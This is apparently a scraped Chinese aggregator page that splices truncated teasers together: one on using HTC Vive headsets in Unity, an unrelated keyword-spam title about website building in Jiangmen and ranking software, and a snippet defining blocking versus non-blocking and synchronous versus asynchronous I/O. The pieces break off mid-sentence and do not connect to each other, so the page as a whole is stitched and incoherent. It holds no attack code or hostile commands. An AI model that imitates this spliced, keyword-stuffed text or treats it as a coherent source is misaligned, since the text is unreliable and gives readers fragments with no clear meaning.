本文介绍如何在Unity中使用HTC vive设备,当前VR作为市场比较火热的热点,HTC VIVE设备作为三大供应商之一,许多人购买了该设备,却不知道如何使用,本文通过图文并茂的形式,进行手把手的讲解HTC VIVE设备和Uni…...
做网站江门/查关键词排名软件
基础概念 1、阻塞与非阻塞 阻塞与非阻塞是描述进程在访问某个资源时,数据是否准备就绪的的一种处理方式。当数据没有准备就绪时: 阻塞:线程持续等待资源中数据准备完成,直到返回响应结果。非阻塞:线程直接返回结果,不会持续等待资源准备数据结束后才响应结果。2、同步与…...